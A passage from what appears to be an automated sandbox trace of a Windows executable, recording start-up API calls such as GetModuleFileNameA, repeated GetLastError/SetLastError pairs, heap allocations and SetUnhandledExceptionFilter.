!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿA\x98¶Ø\x94þ\x19", lpUsedDefaultChar=0x0) returned 256 [0092.732] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x48a208, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe")) returned 0x62 [0092.732] GetLastError () returned 0x0 [0092.732] SetLastError (dwErrCode=0x0) [0092.732] GetLastError () returned 0x0 [0092.732] SetLastError (dwErrCode=0x0) [0092.732] GetLastError () returned 0x0 [0092.732] SetLastError (dwErrCode=0x0) [0092.732] GetLastError () returned 0x0 [0092.733] SetLastError (dwErrCode=0x0) [0092.733] GetLastError () returned 0x0 [0092.733] SetLastError (dwErrCode=0x0) [0092.733] GetLastError () returned 0x0 [0092.733] SetLastError (dwErrCode=0x0) [0092.733] GetLastError () returned 0x0 [0092.733] SetLastError (dwErrCode=0x0) [0092.733] GetLastError () returned 0x0 [0092.733] SetLastError (dwErrCode=0x0) [0092.733] GetLastError () returned 0x0 [0092.733] SetLastError (dwErrCode=0x0) [0092.733] GetLastError () returned 0x0 [0092.733] SetLastError (dwErrCode=0x0) [0092.733] GetLastError () returned 0x0 [0092.734] SetLastError (dwErrCode=0x0) [0092.734] GetLastError () returned 0x0 [0092.734] SetLastError (dwErrCode=0x0) [0092.734] GetLastError () returned 0x0 [0092.734] SetLastError (dwErrCode=0x0) [0092.734] GetLastError () returned 0x0 [0092.734] SetLastError (dwErrCode=0x0) [0092.734] GetLastError () returned 0x0 [0092.734] SetLastError (dwErrCode=0x0) [0092.734] GetLastError () returned 0x0 [0092.734] SetLastError (dwErrCode=0x0) [0092.734] GetLastError () returned 0x0 [0092.734] SetLastError (dwErrCode=0x0) [0092.734] GetLastError () returned 0x0 [0092.735] SetLastError (dwErrCode=0x0) [0092.735] GetLastError () returned 0x0 [0092.735] SetLastError (dwErrCode=0x0) [0092.735] GetLastError () returned 0x0 [0092.735] SetLastError (dwErrCode=0x0) [0092.735] GetLastError () returned 0x0 [0092.735] SetLastError (dwErrCode=0x0) [0092.735] GetLastError () returned 0x0 [0092.735] SetLastError (dwErrCode=0x0) [0092.735] GetLastError () returned 0x0 [0092.735] SetLastError (dwErrCode=0x0) [0092.735] GetLastError () returned 0x0 [0092.735] SetLastError (dwErrCode=0x0) [0092.735] GetLastError () returned 0x0 [0092.736] SetLastError (dwErrCode=0x0) [0092.736] GetLastError () returned 0x0 [0092.736] SetLastError (dwErrCode=0x0) [0092.736] GetLastError () returned 0x0 [0092.736] SetLastError (dwErrCode=0x0) [0092.736] GetLastError () returned 0x0 [0092.736] SetLastError (dwErrCode=0x0) [0092.736] GetLastError () returned 0x0 [0092.736] SetLastError (dwErrCode=0x0) [0092.736] GetLastError () returned 0x0 [0092.736] SetLastError (dwErrCode=0x0) [0092.736] GetLastError () returned 0x0 [0092.736] SetLastError (dwErrCode=0x0) [0092.736] GetLastError () returned 0x0 [0092.736] SetLastError (dwErrCode=0x0) [0092.737] GetLastError () returned 0x0 [0092.737] SetLastError (dwErrCode=0x0) [0092.737] GetLastError () returned 0x0 [0092.737] SetLastError (dwErrCode=0x0) [0092.737] GetLastError () returned 0x0 [0092.737] SetLastError (dwErrCode=0x0) [0092.737] GetLastError () returned 0x0 [0092.737] SetLastError (dwErrCode=0x0) [0092.737] GetLastError () returned 0x0 [0092.737] SetLastError (dwErrCode=0x0) [0092.737] GetLastError () returned 0x0 [0092.737] SetLastError (dwErrCode=0x0) [0092.737] GetLastError () returned 0x0 [0092.737] SetLastError (dwErrCode=0x0) [0092.738] GetLastError () returned 0x0 [0092.738] SetLastError (dwErrCode=0x0) [0092.738] GetLastError () returned 0x0 [0092.738] SetLastError (dwErrCode=0x0) [0092.738] GetLastError () returned 0x0 [0092.738] SetLastError (dwErrCode=0x0) [0092.738] GetLastError () returned 0x0 [0092.738] SetLastError (dwErrCode=0x0) [0092.738] GetLastError () returned 0x0 [0092.738] SetLastError (dwErrCode=0x0) [0092.738] GetLastError () returned 0x0 [0092.739] SetLastError (dwErrCode=0x0) [0092.739] GetLastError () returned 0x0 [0092.739] SetLastError (dwErrCode=0x0) [0092.739] GetLastError () returned 0x0 [0092.739] SetLastError (dwErrCode=0x0) [0092.739] GetLastError () returned 0x0 [0092.739] SetLastError (dwErrCode=0x0) [0092.739] GetLastError () returned 0x0 [0092.739] SetLastError (dwErrCode=0x0) [0092.739] GetLastError () returned 0x0 [0092.740] SetLastError (dwErrCode=0x0) [0092.740] GetLastError () returned 0x0 [0092.740] SetLastError (dwErrCode=0x0) [0092.740] GetLastError () returned 0x0 [0092.740] SetLastError (dwErrCode=0x0) [0092.740] GetLastError () returned 0x0 [0092.740] SetLastError (dwErrCode=0x0) [0092.740] GetLastError () returned 0x0 [0092.740] SetLastError (dwErrCode=0x0) [0092.740] GetLastError () returned 0x0 [0092.740] SetLastError (dwErrCode=0x0) [0092.740] GetLastError () returned 0x0 [0092.741] SetLastError (dwErrCode=0x0) [0092.741] GetLastError () returned 0x0 [0092.741] SetLastError (dwErrCode=0x0) [0092.741] GetLastError () returned 0x0 [0092.741] SetLastError (dwErrCode=0x0) [0092.741] GetLastError () returned 0x0 [0092.741] SetLastError (dwErrCode=0x0) [0092.741] GetLastError () returned 0x0 [0092.741] SetLastError (dwErrCode=0x0) [0092.741] GetLastError () returned 0x0 [0092.741] SetLastError (dwErrCode=0x0) [0092.741] GetLastError () returned 0x0 [0092.742] SetLastError (dwErrCode=0x0) [0092.742] GetLastError () returned 0x0 [0092.742] SetLastError (dwErrCode=0x0) [0092.742] GetLastError () returned 0x0 [0092.742] SetLastError (dwErrCode=0x0) [0092.742] GetLastError () returned 0x0 [0092.742] SetLastError (dwErrCode=0x0) [0092.742] GetLastError () returned 0x0 [0092.742] SetLastError (dwErrCode=0x0) [0092.742] GetLastError () returned 0x0 [0092.743] SetLastError (dwErrCode=0x0) [0092.743] GetLastError () returned 0x0 [0092.743] SetLastError (dwErrCode=0x0) [0092.743] GetLastError () returned 0x0 [0092.743] SetLastError (dwErrCode=0x0) [0092.743] GetLastError () returned 0x0 [0092.743] SetLastError (dwErrCode=0x0) [0092.743] GetLastError () returned 0x0 [0092.743] SetLastError (dwErrCode=0x0) [0092.743] GetLastError () returned 0x0 [0092.743] SetLastError (dwErrCode=0x0) [0092.743] GetLastError () returned 0x0 [0092.743] SetLastError (dwErrCode=0x0) [0092.743] GetLastError () returned 0x0 [0092.743] SetLastError (dwErrCode=0x0) [0092.744] GetLastError () returned 0x0 [0092.744] SetLastError (dwErrCode=0x0) [0092.744] GetLastError () returned 0x0 [0092.744] SetLastError (dwErrCode=0x0) [0092.744] GetLastError () returned 0x0 [0092.744] SetLastError (dwErrCode=0x0) [0092.744] GetLastError () returned 0x0 [0092.744] SetLastError (dwErrCode=0x0) [0092.744] GetLastError () returned 0x0 [0092.744] SetLastError (dwErrCode=0x0) [0092.744] GetLastError () returned 0x0 [0092.744] SetLastError (dwErrCode=0x0) [0092.744] GetLastError () returned 0x0 [0092.744] SetLastError (dwErrCode=0x0) [0092.744] GetLastError () returned 0x0 [0092.744] SetLastError (dwErrCode=0x0) [0092.744] GetLastError () returned 0x0 [0092.745] SetLastError (dwErrCode=0x0) [0092.745] GetLastError () returned 0x0 [0092.745] SetLastError (dwErrCode=0x0) [0092.745] GetLastError () returned 0x0 [0092.745] SetLastError (dwErrCode=0x0) [0092.745] GetLastError () returned 0x0 [0092.746] SetLastError (dwErrCode=0x0) [0092.746] GetLastError () returned 0x0 [0092.746] SetLastError (dwErrCode=0x0) [0092.746] GetLastError () returned 0x0 [0092.746] SetLastError (dwErrCode=0x0) [0092.746] GetLastError () returned 0x0 [0092.746] SetLastError (dwErrCode=0x0) [0092.746] GetLastError () returned 0x0 [0092.746] SetLastError (dwErrCode=0x0) [0092.746] GetLastError () returned 0x0 [0092.747] SetLastError (dwErrCode=0x0) [0092.747] GetLastError () returned 0x0 [0092.747] SetLastError (dwErrCode=0x0) [0092.747] GetLastError () returned 0x0 [0092.747] SetLastError (dwErrCode=0x0) [0092.747] GetLastError () returned 0x0 [0092.747] SetLastError (dwErrCode=0x0) [0092.747] GetLastError () returned 0x0 [0092.747] SetLastError (dwErrCode=0x0) [0092.747] GetLastError () returned 0x0 [0092.747] SetLastError (dwErrCode=0x0) [0092.747] GetLastError () returned 0x0 [0092.747] SetLastError (dwErrCode=0x0) [0092.747] GetLastError () returned 0x0 [0092.748] SetLastError (dwErrCode=0x0) [0092.748] GetLastError () returned 0x0 [0092.748] SetLastError (dwErrCode=0x0) [0092.748] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x0, Size=0x6b) returned 0x2061710 [0092.748] GetLastError () returned 0x0 [0092.748] SetLastError (dwErrCode=0x0) [0092.748] GetLastError () returned 0x0 [0092.748] SetLastError (dwErrCode=0x0) [0092.748] GetLastError () returned 0x0 [0092.748] SetLastError (dwErrCode=0x0) [0092.748] GetLastError () returned 0x0 [0092.748] SetLastError (dwErrCode=0x0) [0092.748] GetLastError () returned 0x0 [0092.748] SetLastError (dwErrCode=0x0) [0092.748] GetLastError () returned 0x0 [0092.748] SetLastError (dwErrCode=0x0) [0092.749] GetLastError () returned 0x0 [0092.749] SetLastError (dwErrCode=0x0) [0092.749] GetLastError () returned 0x0 [0092.749] SetLastError (dwErrCode=0x0) [0092.749] GetLastError () returned 0x0 [0092.749] SetLastError (dwErrCode=0x0) [0092.749] GetLastError () returned 0x0 [0092.749] SetLastError (dwErrCode=0x0) [0092.749] GetLastError () returned 0x0 [0092.749] SetLastError (dwErrCode=0x0) [0092.749] GetLastError () returned 0x0 [0092.750] SetLastError (dwErrCode=0x0) [0092.750] GetLastError () returned 0x0 [0092.750] SetLastError (dwErrCode=0x0) [0092.750] GetLastError () returned 0x0 [0092.750] SetLastError (dwErrCode=0x0) [0092.750] GetLastError () returned 0x0 [0092.750] SetLastError (dwErrCode=0x0) [0092.750] GetLastError () returned 0x0 [0092.750] SetLastError (dwErrCode=0x0) [0092.750] GetLastError () returned 0x0 [0092.750] SetLastError (dwErrCode=0x0) [0092.750] GetLastError () returned 0x0 [0092.750] SetLastError (dwErrCode=0x0) [0092.750] GetLastError () returned 0x0 [0092.750] SetLastError (dwErrCode=0x0) [0092.750] GetLastError () returned 0x0 [0092.750] SetLastError (dwErrCode=0x0) [0092.750] GetLastError () returned 0x0 [0092.751] SetLastError (dwErrCode=0x0) [0092.751] GetLastError () returned 0x0 [0092.751] SetLastError (dwErrCode=0x0) [0092.751] GetLastError () returned 0x0 [0092.751] SetLastError (dwErrCode=0x0) [0092.751] GetLastError () returned 0x0 [0092.751] SetLastError (dwErrCode=0x0) [0092.751] GetLastError () returned 0x0 [0092.751] SetLastError (dwErrCode=0x0) [0092.751] GetLastError () returned 0x0 [0092.751] SetLastError (dwErrCode=0x0) [0092.751] GetLastError () returned 0x0 [0092.751] SetLastError (dwErrCode=0x0) [0092.751] GetLastError () returned 0x0 [0092.751] SetLastError (dwErrCode=0x0) [0092.751] GetLastError () returned 0x0 [0092.752] SetLastError (dwErrCode=0x0) [0092.752] GetLastError () returned 0x0 [0092.752] SetLastError (dwErrCode=0x0) [0092.752] GetLastError () returned 0x0 [0092.752] SetLastError (dwErrCode=0x0) [0092.752] GetLastError () returned 0x0 [0092.752] SetLastError (dwErrCode=0x0) [0092.752] GetLastError () returned 0x0 [0092.752] SetLastError (dwErrCode=0x0) [0092.752] GetLastError () returned 0x0 [0092.752] SetLastError (dwErrCode=0x0) [0092.752] GetLastError () returned 0x0 [0092.752] SetLastError (dwErrCode=0x0) [0092.752] GetLastError () returned 0x0 [0092.752] SetLastError (dwErrCode=0x0) [0092.752] GetLastError () returned 0x0 [0092.753] SetLastError (dwErrCode=0x0) [0092.753] GetLastError () returned 0x0 [0092.753] SetLastError (dwErrCode=0x0) [0092.753] GetLastError () returned 0x0 [0092.753] SetLastError (dwErrCode=0x0) [0092.753] GetLastError () returned 0x0 [0092.753] SetLastError (dwErrCode=0x0) [0092.753] GetLastError () returned 0x0 [0092.753] SetLastError (dwErrCode=0x0) [0092.753] GetLastError () returned 0x0 [0092.753] SetLastError (dwErrCode=0x0) [0092.753] GetLastError () returned 0x0 [0092.753] SetLastError (dwErrCode=0x0) [0092.753] GetLastError () returned 0x0 [0092.753] SetLastError (dwErrCode=0x0) [0092.753] GetLastError () returned 0x0 [0092.753] SetLastError (dwErrCode=0x0) [0092.753] GetLastError () returned 0x0 [0092.754] SetLastError (dwErrCode=0x0) [0092.754] GetLastError () returned 0x0 [0092.754] SetLastError (dwErrCode=0x0) [0092.754] GetLastError () returned 0x0 [0092.754] SetLastError (dwErrCode=0x0) [0092.754] GetLastError () returned 0x0 [0092.754] SetLastError (dwErrCode=0x0) [0092.754] GetLastError () returned 0x0 [0092.754] SetLastError (dwErrCode=0x0) [0092.754] GetLastError () returned 0x0 [0092.754] SetLastError (dwErrCode=0x0) [0092.754] GetLastError () returned 0x0 [0092.754] SetLastError (dwErrCode=0x0) [0092.754] GetLastError () returned 0x0 [0092.754] SetLastError (dwErrCode=0x0) [0092.754] GetLastError () returned 0x0 [0092.754] SetLastError (dwErrCode=0x0) [0092.754] GetLastError () returned 0x0 [0092.755] SetLastError (dwErrCode=0x0) [0092.755] GetLastError () returned 0x0 [0092.755] SetLastError (dwErrCode=0x0) [0092.755] GetLastError () returned 0x0 [0092.755] SetLastError (dwErrCode=0x0) [0092.755] GetLastError () returned 0x0 [0092.755] SetLastError (dwErrCode=0x0) [0092.755] GetLastError () returned 0x0 [0092.755] SetLastError (dwErrCode=0x0) [0092.755] GetLastError () returned 0x0 [0092.755] SetLastError (dwErrCode=0x0) [0092.755] GetLastError () returned 0x0 [0092.755] SetLastError (dwErrCode=0x0) [0092.755] GetLastError () returned 0x0 [0092.755] SetLastError (dwErrCode=0x0) [0092.755] GetLastError () returned 0x0 [0092.755] SetLastError (dwErrCode=0x0) [0092.756] GetLastError () returned 0x0 [0092.756] SetLastError (dwErrCode=0x0) [0092.756] GetLastError () returned 0x0 [0092.756] SetLastError (dwErrCode=0x0) [0092.756] GetLastError () returned 0x0 [0092.756] SetLastError (dwErrCode=0x0) [0092.756] GetLastError () returned 0x0 [0092.756] SetLastError (dwErrCode=0x0) [0092.756] GetLastError () returned 0x0 [0092.756] SetLastError (dwErrCode=0x0) [0092.756] GetLastError () returned 0x0 [0092.756] SetLastError (dwErrCode=0x0) [0092.756] GetLastError () returned 0x0 [0092.756] SetLastError (dwErrCode=0x0) [0092.756] GetLastError () returned 0x0 [0092.757] SetLastError (dwErrCode=0x0) [0092.757] GetLastError () returned 0x0 [0092.757] SetLastError (dwErrCode=0x0) [0092.757] GetLastError () returned 0x0 [0092.757] SetLastError (dwErrCode=0x0) [0092.757] GetLastError () returned 0x0 [0092.757] SetLastError (dwErrCode=0x0) [0092.757] GetLastError () returned 0x0 [0092.757] SetLastError (dwErrCode=0x0) [0092.757] GetLastError () returned 0x0 [0092.757] SetLastError (dwErrCode=0x0) [0092.757] GetLastError () returned 0x0 [0092.757] SetLastError (dwErrCode=0x0) [0092.757] GetLastError () returned 0x0 [0092.757] SetLastError (dwErrCode=0x0) [0092.757] GetLastError () returned 0x0 [0092.758] SetLastError (dwErrCode=0x0) [0092.758] GetLastError () returned 0x0 [0092.758] SetLastError (dwErrCode=0x0) [0092.758] GetLastError () returned 0x0 [0092.758] SetLastError (dwErrCode=0x0) [0092.758] GetLastError () returned 0x0 [0092.758] SetLastError (dwErrCode=0x0) [0092.758] GetLastError () returned 0x0 [0092.758] SetLastError (dwErrCode=0x0) [0092.758] GetLastError () returned 0x0 [0092.758] SetLastError (dwErrCode=0x0) [0092.758] GetLastError () returned 0x0 [0092.758] SetLastError (dwErrCode=0x0) [0092.758] GetLastError () returned 0x0 [0092.759] SetLastError (dwErrCode=0x0) [0092.759] GetLastError () returned 0x0 [0092.759] SetLastError (dwErrCode=0x0) [0092.759] GetLastError () returned 0x0 [0092.796] SetLastError (dwErrCode=0x0) [0092.797] GetLastError () returned 0x0 [0092.797] SetLastError (dwErrCode=0x0) [0092.797] GetLastError () returned 0x0 [0092.797] SetLastError (dwErrCode=0x0) [0092.797] GetLastError () returned 0x0 [0092.797] SetLastError (dwErrCode=0x0) [0092.797] GetLastError () returned 0x0 [0092.797] SetLastError (dwErrCode=0x0) [0092.797] GetLastError () returned 0x0 [0092.797] SetLastError (dwErrCode=0x0) [0092.797] GetLastError () returned 0x0 [0092.797] SetLastError (dwErrCode=0x0) [0092.797] GetLastError () returned 0x0 [0092.797] SetLastError (dwErrCode=0x0) [0092.798] GetLastError () returned 0x0 [0092.798] SetLastError (dwErrCode=0x0) [0092.798] GetLastError () returned 0x0 [0092.798] SetLastError (dwErrCode=0x0) [0092.798] GetLastError () returned 0x0 [0092.798] SetLastError (dwErrCode=0x0) [0092.798] GetLastError () returned 0x0 [0092.798] SetLastError (dwErrCode=0x0) [0092.798] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x90) returned 0x2061788 [0092.798] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x1f) returned 0x2061820 [0092.798] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x2e) returned 0x2061848 [0092.798] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x37) returned 0x2061880 [0092.799] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x3c) returned 0x20618c0 [0092.799] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x31) returned 0x2061908 [0092.799] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x14) returned 0x2061948 [0092.799] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x24) returned 0x2061968 [0092.799] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0xd) returned 0x2061998 [0092.799] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x1d) returned 0x20619b0 [0092.799] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x31) returned 0x20619d8 [0092.799] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x15) returned 0x2061a18 [0092.799] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x17) returned 0x2061a38 [0092.799] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0xe) returned 0x2061a58 [0092.799] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x69) returned 0x2061a70 [0092.799] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x3e) returned 0x2061ae8 [0092.800] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x1b) returned 0x2061b30 [0092.800] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x1d) returned 0x2061b58 [0092.800] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x48) returned 0x2061b80 [0092.800] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x12) returned 0x2061bd0 [0092.800] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x18) returned 0x2061bf0 [0092.800] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x1b) returned 0x2061c10 [0092.800] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x24) returned 0x2061c38 [0092.800] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x29) returned 0x2061c68 [0092.800] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x1e) returned 0x2061ca0 [0092.801] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x6b) returned 0x2061cc8 [0092.801] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x17) returned 0x2061d40 [0092.801] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0xf) returned 0x2061d60 [0092.801] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x16) returned 0x2061d78 [0092.801] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x2a) returned 0x2061d98 [0092.801] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x29) returned 0x2061dd0 [0092.801] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x12) returned 0x2061e08 [0092.801] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x21) returned 0x2061e28 [0092.801] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x16) returned 0x2061e58 [0092.801] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x22) returned 0x2061e78 [0092.801] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x12) returned 0x2061ea8 [0092.801] HeapFree (in: hHeap=0x2060000, dwFlags=0x0, lpMem=0x2060fd0 | out: hHeap=0x2060000) returned 1 [0092.806] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x800) returned 0x2061ec8 [0092.807] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x80) returned 0x2060fd0 [0092.807] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x403935) returned 0x0 [0092.809] RtlSizeHeap (HeapHandle=0x2060000, Flags=0x0, MemoryPointer=0x2060fd0) returned 0x80 [0092.811] GetLastError () returned 0x0 [0092.811] SetLastError (dwErrCode=0x0) [0092.811] GetLastError () returned 0x0 [0092.811] SetLastError (dwErrCode=0x0) [0092.811] GetLastError () returned 0x0 [0092.812] SetLastError (dwErrCode=0x0) [0092.812] GetLastError () returned 0x0 [0092.812] SetLastError (dwErrCode=0x0) [0092.812] GetLastError () returned 0x0 [0092.812] SetLastError (dwErrCode=0x0) [0092.812] GetLastError () returned 0x0 [0092.813] SetLastError (dwErrCode=0x0) [0092.813] GetLastError () returned 0x0 [0092.813] SetLastError (dwErrCode=0x0) [0092.813] GetLastError () returned 0x0 [0092.813] SetLastError (dwErrCode=0x0) [0092.813] GetLastError () returned 0x0 [0092.814] SetLastError (dwErrCode=0x0) [0092.814] GetLastError () returned 0x0 [0092.814] SetLastError (dwErrCode=0x0) [0092.814] GetLastError () returned 0x0 [0092.814] SetLastError (dwErrCode=0x0) [0092.814] GetLastError () returned 0x0 [0092.815] SetLastError (dwErrCode=0x0) [0092.815] GetLastError () returned 0x0 [0092.815] SetLastError (dwErrCode=0x0) [0092.815] GetLastError () returned 0x0 [0092.815] SetLastError (dwErrCode=0x0) [0092.815] GetLastError () returned 0x0 [0092.815] SetLastError (dwErrCode=0x0) [0092.815] GetLastError () returned 0x0 [0092.815] SetLastError (dwErrCode=0x0) [0092.815] GetLastError () returned 0x0 [0092.815] SetLastError (dwErrCode=0x0) [0092.815] GetLastError () returned 0x0 [0092.815] SetLastError (dwErrCode=0x0) [0092.816] GetLastError () returned 0x0 [0092.816] SetLastError (dwErrCode=0x0) [0092.816] GetLastError () returned 0x0 [0092.816] SetLastError (dwErrCode=0x0) [0092.816] GetLastError () returned 0x0 [0092.816] SetLastError (dwErrCode=0x0) [0092.816] GetLastError () returned 0x0 [0092.816] SetLastError (dwErrCode=0x0) [0092.816] GetLastError () returned 0x0 [0092.816] SetLastError (dwErrCode=0x0) [0092.817] GetLastError () returned 0x0 [0092.817] SetLastError (dwErrCode=0x0) [0092.817] GetLastError () returned 0x0 [0092.817] SetLastError (dwErrCode=0x0) [0092.817] GetLastError () returned 0x0 [0092.817] SetLastError (dwErrCode=0x0) [0092.817] GetLastError () returned 0x0 [0092.817] SetLastError (dwErrCode=0x0) [0092.817] GetLastError () returned 0x0 [0092.817] SetLastError (dwErrCode=0x0) [0092.817] GetLastError () returned 0x0 [0092.817] SetLastError (dwErrCode=0x0) [0092.817] GetLastError () returned 0x0 [0092.818] SetLastError (dwErrCode=0x0) [0092.818] GetLastError () returned 0x0 [0092.818] SetLastError (dwErrCode=0x0) [0092.818] GetLastError () returned 0x0 [0092.818] SetLastError (dwErrCode=0x0) [0092.818] GetLastError () returned 0x0 [0092.818] SetLastError (dwErrCode=0x0) [0092.818] GetLastError () returned 0x0 [0092.818] SetLastError (dwErrCode=0x0) [0092.818] GetLastError () returned 0x0 [0092.819] SetLastError (dwErrCode=0x0) [0092.819] GetLastError () returned 0x0 [0092.819] SetLastError (dwErrCode=0x0) [0092.819] GetLastError () returned 0x0 [0092.819] SetLastError (dwErrCode=0x0) [0092.819] GetLastError () returned 0x0 [0092.819] SetLastError (dwErrCode=0x0) [0092.819] GetLastError () returned 0x0 [0092.819] SetLastError (dwErrCode=0x0) [0092.819] GetLastError () returned 0x0 [0092.819] SetLastError (dwErrCode=0x0) [0092.819] GetLastError () returned 0x0 [0092.819] SetLastError (dwErrCode=0x0) [0092.819] GetLastError () returned 0x0 [0092.820] SetLastError (dwErrCode=0x0) [0092.820] GetLastError () returned 0x0 [0092.820] SetLastError (dwErrCode=0x0) [0092.820] GetLastError () returned 0x0 [0092.820] SetLastError (dwErrCode=0x0) [0092.820] GetLastError () returned 0x0 [0092.820] SetLastError (dwErrCode=0x0) [0092.820] GetLastError () returned 0x0 [0092.820] SetLastError (dwErrCode=0x0) [0092.820] GetLastError () returned 0x0 [0092.821] SetLastError (dwErrCode=0x0) [0092.821] GetLastError () returned 0x0 [0092.821] SetLastError (dwErrCode=0x0) [0092.821] GetLastError () returned 0x0 [0092.821] SetLastError (dwErrCode=0x0) [0092.821] GetLastError () returned 0x0 [0092.821] SetLastError (dwErrCode=0x0) [0092.821] GetLastError () returned 0x0 [0092.821] SetLastError (dwErrCode=0x0) [0092.821] GetLastError () returned 0x0 [0092.821] SetLastError (dwErrCode=0x0) [0092.821] GetLastError () returned 0x0 [0092.821] SetLastError (dwErrCode=0x0) [0092.821] GetLastError () returned 0x0 [0092.822] SetLastError (dwErrCode=0x0) [0092.822] GetLastError () returned 0x0 [0092.822] SetLastError (dwErrCode=0x0) [0092.822] GetLastError () returned 0x0 [0092.822] SetLastError (dwErrCode=0x0) [0092.822] GetLastError () returned 0x0 [0092.822] SetLastError (dwErrCode=0x0) [0092.822] GetLastError () returned 0x0 [0092.822] SetLastError (dwErrCode=0x0) [0092.822] GetLastError () returned 0x0 [0092.822] SetLastError (dwErrCode=0x0) [0092.822] GetLastError () returned 0x0 [0092.822] SetLastError (dwErrCode=0x0) [0092.822] GetLastError () returned 0x0 [0092.822] SetLastError (dwErrCode=0x0) [0092.823] GetLastError () returned 0x0 [0092.823] SetLastError (dwErrCode=0x0) [0092.823] GetLastError () returned 0x0 [0092.823] SetLastError (dwErrCode=0x0) [0092.823] GetLastError () returned 0x0 [0092.823] SetLastError (dwErrCode=0x0) [0092.823] GetLastError () returned 0x0 [0092.823] SetLastError (dwErrCode=0x0) [0092.823] GetLastError () returned 0x0 [0092.823] SetLastError (dwErrCode=0x0) [0092.823] GetLastError () returned 0x0 [0092.823] SetLastError (dwErrCode=0x0) [0092.824] GetLastError () returned 0x0 [0092.824] SetLastError (dwErrCode=0x0) [0092.824] GetLastError () returned 0x0 [0092.824] SetLastError (dwErrCode=0x0) [0092.824] GetLastError () returned 0x0 [0092.824] SetLastError (dwErrCode=0x0) [0092.824] GetLastError () returned 0x0 [0092.824] SetLastError (dwErrCode=0x0) [0092.824] GetLastError () returned 0x0 [0092.824] SetLastError (dwErrCode=0x0) [0092.824] GetLastError () returned 0x0 [0092.825] SetLastError (dwErrCode=0x0) [0092.825] GetLastError () returned 0x0 [0092.825] SetLastError (dwErrCode=0x0) [0092.825] GetLastError () returned 0x0 [0092.825] SetLastError (dwErrCode=0x0) [0092.825] GetLastError () returned 0x0 [0092.825] SetLastError (dwErrCode=0x0) [0092.825] GetLastError () returned 0x0 [0092.825] SetLastError (dwErrCode=0x0) [0092.825] GetLastError () returned 0x0 [0092.825] SetLastError (dwErrCode=0x0) [0092.825] GetLastError () returned 0x0 [0092.825] SetLastError (dwErrCode=0x0) [0092.825] GetLastError () returned 0x0 [0092.826] SetLastError (dwErrCode=0x0) [0092.826] GetLastError () returned 0x0 [0092.826] SetLastError (dwErrCode=0x0) [0092.826] GetLastError () returned 0x0 [0092.826] SetLastError (dwErrCode=0x0) [0092.826] GetLastError () returned 0x0 [0092.826] SetLastError (dwErrCode=0x0) [0092.826] GetLastError () returned 0x0 [0092.826] SetLastError (dwErrCode=0x0) [0092.826] GetLastError () returned 0x0 [0092.826] SetLastError (dwErrCode=0x0) [0092.826] GetLastError () returned 0x0 [0092.826] SetLastError (dwErrCode=0x0) [0092.826] GetLastError () returned 0x0 [0092.827] SetLastError (dwErrCode=0x0) [0092.827] GetLastError () returned 0x0 [0092.827] SetLastError (dwErrCode=0x0) [0092.827] GetLastError () returned 0x0 [0092.827] SetLastError (dwErrCode=0x0) [0092.827] GetLastError () returned 0x0 